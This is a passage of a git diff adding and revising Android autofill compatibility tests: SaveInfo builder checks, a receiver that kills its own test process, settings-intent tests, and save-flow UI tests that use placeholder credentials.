+    }
+
+    public RetryableException(Throwable cause, String format, Object...args) {
+        super(String.format(format, args), cause);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
new file mode 100644
index 0000000..702e1b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.SaveInfo;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SaveInfoTest {
+
+    @Test
+    public void testRequiredIdsBuilder_null() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC, null));
+    }
+
+    @Test
+    public void testRequiredIdsBuilder_empty() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
+    }
+
+    @Test
+    public void testRequiredIdsBuilder_nullEntry() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+                        new AutofillId[] { null }));
+    }
+
+    @Test
+    public void testBuild_noOptionalIds() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC);
+        assertThrows(IllegalStateException.class, ()-> builder.build());
+    }
+
+    @Test
+    public void testSetOptionalIds_null() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+                new AutofillId[] { new AutofillId(42) });
+        assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
+    }
+
+    @Test
+    public void testSetOptional_empty() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+                new AutofillId[] { new AutofillId(42) });
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.setOptionalIds(new AutofillId[] {}));
+    }
+
+    @Test
+    public void testSetOptional_nullEntry() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+                new AutofillId[] { new AutofillId(42) });
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.setOptionalIds(new AutofillId[] { null }));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
new file mode 100644
index 0000000..8dc8dd9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that kills its process.
+ */
+public class SelfDestructReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "SelfDestructReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, cruel world!");
+        Process.killProcess(Process.myPid());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 2065b3d..3514f30 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -19,12 +19,13 @@
 import static android.autofillservice.cts.Helper.ID_LOGIN;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
 import static android.autofillservice.cts.Helper.eventually;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Helper.getOutOfProcessPid;
 import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.OutOfProcessLoginActivity.getDestroyedMarker;
 import static android.autofillservice.cts.OutOfProcessLoginActivity.getStoppedMarker;
 import static android.autofillservice.cts.UiBot.LANDSCAPE;
 import static android.autofillservice.cts.UiBot.PORTRAIT;
@@ -33,6 +34,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.content.Intent;
@@ -76,6 +79,16 @@
         Helper.allowAutoRotation();
     }
 
+    @After
+    public void finishLoginActivityOnAnotherProcess() throws Exception {
+        runShellCommand("am broadcast --receiver-foreground "
+                + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
+        sUiBot.assertGoneByRelativeId(ID_USERNAME, Helper.ACTIVITY_RESURRECTION_MS);
+
+        // Waiting for activity to be destroyed (destroy marker appears)
+        eventually(() -> assertThat(getDestroyedMarker(getContext()).exists()).isTrue());
+    }
+
     private void killOfProcessLoginActivityProcess() throws Exception {
         // Waiting for activity to stop (stop marker appears)
         eventually(() -> assertThat(getStoppedMarker(getContext()).exists()).isTrue());
@@ -84,119 +97,126 @@
         SystemClock.sleep(1000);
 
         // Kill activity that is in the background
-        runShellCommand("kill -9 %d",
-                getOutOfProcessPid("android.autofillservice.cts.outside"));
+        runShellCommand("am broadcast --receiver-foreground "
+                + "-n android.autofillservice.cts/.SelfDestructReceiver");
     }
 
     @Test
     public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
         // Set service.
         enableService();
 
-        // Start activity that is autofilled in a separate process so it can be killed
-        Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
-                OutOfProcessLoginActivity.class);
-        getContext().startActivity(outOfProcessAcvitityStartIntent);
+        sUiBot.setScreenResolution();
 
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
+        try {
+            // Start activity that is autofilled in a separate process so it can be killed
+            Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+                    OutOfProcessLoginActivity.class);
+            getContext().startActivity(outOfProcessAcvitityStartIntent);
 
-        // Create the authentication intent (launching a full screen activity)
-        IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
-                new Intent(getContext(), ManualAuthenticationActivity.class),
-                0).getIntentSender();
+            // Set expectations.
+            final Bundle extras = new Bundle();
+            extras.putString("numbers", "4815162342");
 
-        // Prepare the authenticated response
-        ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
-                        .setPresentation(createPresentation("dataset")).build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras).build());
+            // Create the authentication intent (launching a full screen activity)
+            IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
+                    new Intent(getContext(), ManualAuthenticationActivity.class),
+                    0).getIntentSender();
 
-        CannedFillResponse response = new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("authenticate"))
-                .build();
-        sReplier.addResponse(response);
+            // Prepare the authenticated response
+            ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                            .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
+                            .setPresentation(createPresentation("dataset")).build())
+                    .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                    .setExtras(extras).build());
 
-        // Trigger autofill on username
-        sUiBot.selectById(USERNAME_FULL_ID);
+            CannedFillResponse response = new CannedFillResponse.Builder()
+                    .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                    .setPresentation(createPresentation("authenticate"))
+                    .build();
+            sReplier.addResponse(response);
 
-        // Wait for fill request to be processed
-        sReplier.getNextFillRequest();
+            // Trigger autofill on username
+            sUiBot.selectById(USERNAME_FULL_ID);
 
-        // Wait until authentication is shown
-        sUiBot.assertDatasets("authenticate");
+            // Wait for fill request to be processed
+            sReplier.getNextFillRequest();
 
-        // Change orientation which triggers a destroy -> create in the app as the activity
-        // cannot deal with such situations
-        sUiBot.setScreenOrientation(LANDSCAPE);
+            // Wait until authentication is shown
+            sUiBot.assertDatasets("authenticate");
 
-        // Delete stopped marker
-        getStoppedMarker(getContext()).delete();
+            // Change orientation which triggers a destroy -> create in the app as the activity
+            // cannot deal with such situations
+            sUiBot.setScreenOrientation(LANDSCAPE);
 
-        // Authenticate
-        sUiBot.selectDataset("authenticate");
+            // Delete stopped marker
+            getStoppedMarker(getContext()).delete();
 
-        // Kill activity that is in the background
-        killOfProcessLoginActivityProcess();
+            // Authenticate
+            sUiBot.selectDataset("authenticate");
 
-        // Change orientation which triggers a destroy -> create in the app as the activity
-        // cannot deal with such situations
-        sUiBot.setScreenOrientation(PORTRAIT);
+            // Kill activity that is in the background
+            killOfProcessLoginActivityProcess();
 
-        // Approve authentication
-        sUiBot.selectById(BUTTON_FULL_ID);
+            // Change orientation which triggers a destroy -> create in the app as the activity
+            // cannot deal with such situations
+            sUiBot.setScreenOrientation(PORTRAIT);
 
-        // Wait for dataset to be shown
-        sUiBot.assertDatasets("dataset");
+            // Approve authentication
+            sUiBot.selectById(BUTTON_FULL_ID);
 
-        // Change orientation which triggers a destroy -> create in the app as the activity
-        // cannot deal with such situations
-        sUiBot.setScreenOrientation(LANDSCAPE);
+            // Wait for dataset to be shown
+            sUiBot.assertDatasets("dataset");
 
-        // Select dataset
-        sUiBot.selectDataset("dataset");
+            // Change orientation which triggers a destroy -> create in the app as the activity
+            // cannot deal with such situations
+            sUiBot.setScreenOrientation(LANDSCAPE);
 
-        // Check the results.
-        eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
-                "autofilled username"));
+            // Select dataset
+            sUiBot.selectDataset("dataset");
 
-        // Set password
-        sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
+            // Check the results.
+            eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
+                    "autofilled username"));
 
-        // Login
-        sUiBot.selectById(LOGIN_FULL_ID);
+            // Set password
+            sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
 
-        // Wait for save UI to be shown
-        sUiBot.assertShownById("android:id/autofill_save_yes");
+            // Login
+            sUiBot.selectById(LOGIN_FULL_ID);
 
-        // Change orientation to make sure save UI can handle this
-        sUiBot.setScreenOrientation(PORTRAIT);
+            // Wait for save UI to be shown
+            sUiBot.assertShownById("android:id/autofill_save_yes");
 
-        // Tap "Save".
-        sUiBot.selectById("android:id/autofill_save_yes");
+            // Change orientation to make sure save UI can handle this
+            sUiBot.setScreenOrientation(PORTRAIT);
 
-        // Get save request
-        InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+            // Tap "Save".
+            sUiBot.selectById("android:id/autofill_save_yes");
 
-        // Make sure data is correctly saved
-        final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
-                ID_USERNAME);
-        assertTextAndValue(username, "autofilled username");
-        final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
-                ID_PASSWORD);
-        assertTextAndValue(password, "new password");
+            // Get save request
+            InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+            assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
 
-        // Make sure extras were passed back on onSave()
-        assertThat(saveRequest.data).isNotNull();
-        final String extraValue = saveRequest.data.getString("numbers");
-        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+            // Make sure data is correctly saved
+            final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
+                    ID_USERNAME);
+            assertTextAndValue(username, "autofilled username");
+            final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
+                    ID_PASSWORD);
+            assertTextAndValue(password, "new password");
 
-        eventually(() -> assertNoDanglingSessions());
+            // Make sure extras were passed back on onSave()
+            assertThat(saveRequest.data).isNotNull();
+            final String extraValue = saveRequest.data.getString("numbers");
+            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+            eventually(() -> assertNoDanglingSessions());
+        } finally {
+            sUiBot.resetScreenResolution();
+        }
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
new file mode 100644
index 0000000..c91fd13
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.provider.Settings;
+import android.support.test.uiautomator.UiObject2;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class SettingsIntentTest extends AutoFillServiceTestCase {
+
+    private static final int MY_REQUEST_CODE = 42;
+
+    @Rule
+    public final AutofillActivityTestRule<TrampolineForResultActivity> mActivityRule =
+            new AutofillActivityTestRule<TrampolineForResultActivity>(
+                    TrampolineForResultActivity.class);
+
+    protected TrampolineForResultActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void killSettings() {
+        // Make sure there's no Settings activity left , as it could fail future tests.
+        runShellCommand("am force-stop com.android.settings");
+    }
+
+    @Test
+    public void testMultipleServicesShown() throws Exception {
+        disableService();
+
+        // Launches Settings.
+        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
+
+        // Asserts services are shown.
+        sUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
+        sUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
+        sUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
+
+        // Finishes and asserts result.
+        sUiBot.pressBack();
+        mActivity.assertResult(Activity.RESULT_CANCELED);
+    }
+
+    @Test
+    public void testWarningShown_userRejectsByTappingBack() throws Exception {
+        disableService();
+
+        // Launches Settings.
+        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
+
+        // Asserts services are shown.
+        final UiObject2 object = sUiBot
+                .assertShownByText(InstrumentedAutoFillService.sServiceLabel);
+        object.click();
+
+        // TODO(b/79615759): should assert that "autofill_confirmation_message" is shown, but that
+        // string belongs to Settings - we need to move it to frameworks/base first (and/or use
+        // a resource id, also on framework).
+        // So, for now, just asserts the service name is showing again (in the popup), and the other
+        // services are not showing (because the popup hides then).
+
+        final UiObject2 msgObj = sUiBot.assertShownById("android:id/message");
+        final String msg = msgObj.getText();
+        assertWithMessage("Wrong warning message").that(msg)
+                .contains(InstrumentedAutoFillService.sServiceLabel);
+
+        // NOTE: assertion below is fine because it looks for the full text, not a substring
+        sUiBot.assertNotShowingForSure(InstrumentedAutoFillService.sServiceLabel);
+        sUiBot.assertNotShowingForSure(NoOpAutofillService.SERVICE_LABEL);
+        sUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
+
+        // Finishes and asserts result.
+        sUiBot.pressBack();
+        mActivity.assertResult(Activity.RESULT_CANCELED);
+    }
+
+    // TODO(b/79615759): add testWarningShown_userRejectsByTappingCancel() and
+    // testWarningShown_userAccepts() - these tests would require adding the strings and resource
+    // ids to frameworks/base
+
+    private Intent newSettingsIntent() {
+        return new Intent(Settings.ACTION_REQUEST_SET_AUTOFILL_SERVICE)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .setData(Uri.parse("package:" + Helper.MY_PACKAGE));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
new file mode 100644
index 0000000..0866b2d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
+ */
+public class SimpleSaveActivity extends AbstractAutoFillActivity {
+
+    static final String ID_LABEL = "label";
+    static final String ID_INPUT = "input";
+    static final String ID_PASSWORD = "password";
+    static final String ID_COMMIT = "commit";
+    static final String TEXT_LABEL = "Label:";
+
+    TextView mLabel;
+    EditText mInput;
+    EditText mPassword;
+    Button mCancel;
+    Button mCommit;
+
+    private static SimpleSaveActivity sInstance;
+
+    public static SimpleSaveActivity getInstance() {
+        return sInstance;
+    }
+
+    public SimpleSaveActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mLabel = findViewById(R.id.label);
+        mInput = findViewById(R.id.input);
+        mPassword = findViewById(R.id.password);
+        mCancel = findViewById(R.id.cancel);
+        mCommit = findViewById(R.id.commit);
+
+        mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
+        mCommit.setOnClickListener((v) -> getAutofillManager().commit());
+    }
+
+    FillExpectation expectAutoFill(String input, String password) {
+        final FillExpectation expectation = new FillExpectation(input, password);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        mPassword.addTextChangedListener(expectation.mPasswordWatcher);
+        return expectation;
+    }
+
+    final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+        private final OneTimeTextWatcher mPasswordWatcher;
+
+        private FillExpectation(String input, String password) {
+            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+            mPasswordWatcher = new OneTimeTextWatcher("password", mPassword, password);
+        }
+
+        void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+            mPasswordWatcher.assertAutoFilled();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
new file mode 100644
index 0000000..4abccc9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -0,0 +1,738 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.SimpleSaveActivity.TEXT_LABEL;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
+import android.content.Intent;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
+
+    @Rule
+    public final AutofillActivityTestRule<SimpleSaveActivity> mActivityRule =
+            new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
+
+    private SimpleSaveActivity mActivity;
+
+    private void startActivity() {
+        startActivity(false);
+    }
+
+    private void startActivity(boolean remainOnRecents) {
+        final Intent intent = new Intent(mContext, SimpleSaveActivity.class);
+        if (remainOnRecents) {
+            intent.setFlags(
+                    Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        }
+        mActivity = mActivityRule.launchActivity(intent);
+    }
+
+    private void restartActivity() {
+        final Intent intent = new Intent(mContext.getApplicationContext(),
+                SimpleSaveActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+        mContext.startActivity(intent);
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select dataset.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        sUiBot.selectDataset("YO");
+        autofillExpecation.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        sUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+    }
+
+    /**
+     * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
+     * tests the integration of Autofill with Accessibility.
+     */
+    @Test
+    public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        sUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+
+        // Select dataset...
+        sUiBot.selectDataset("YO");
+
+        // ...and assert autofilled values.
+        final UiObject2 input = sUiBot.assertShownByRelativeId(ID_INPUT);
+        final UiObject2 password = sUiBot.assertShownByRelativeId(ID_PASSWORD);
+
+        assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
+        // TODO: password field is shown as **** ; ideally we should assert it's a password
+        // field, but UiAutomator does not exposes that info.
+        final String visiblePassword = password.getText();
+        assertWithMessage("'password' should not be visible").that(visiblePassword)
+            .isNotEqualTo("pass");
+        assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
+
+        // Trigger save...
+        input.setText("ID");
+        password.setText("PASS");
+        sUiBot.assertShownByRelativeId(ID_COMMIT).click();
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+    }
+
+    @Test
+    public void testSave() throws Exception {
+        saveTest(false);
+    }
+
+    @Test
+    public void testSave_afterRotation() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
+        sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+        try {
+            saveTest(true);
+        } finally {
+            sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+            cleanUpAfterScreenOrientationIsBackToPortrait();
+        }
+    }
+
+    private void saveTest(boolean rotate) throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        if (rotate) {
+            // After the device rotates, the input field get focus and generate a new session.
+            sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+            sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+            saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+
+        // Save it...
+        sUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+    }
+
+    @Test
+    public void testSaveThenStartNewSessionRightAway() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save and start a new session right away.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+        });
+
+        // Make sure Save UI for 1st session was canceled....
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        //... and 2nd session canceled as well.
+        Helper.assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testCancelPreventsSaveUiFromShowing() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
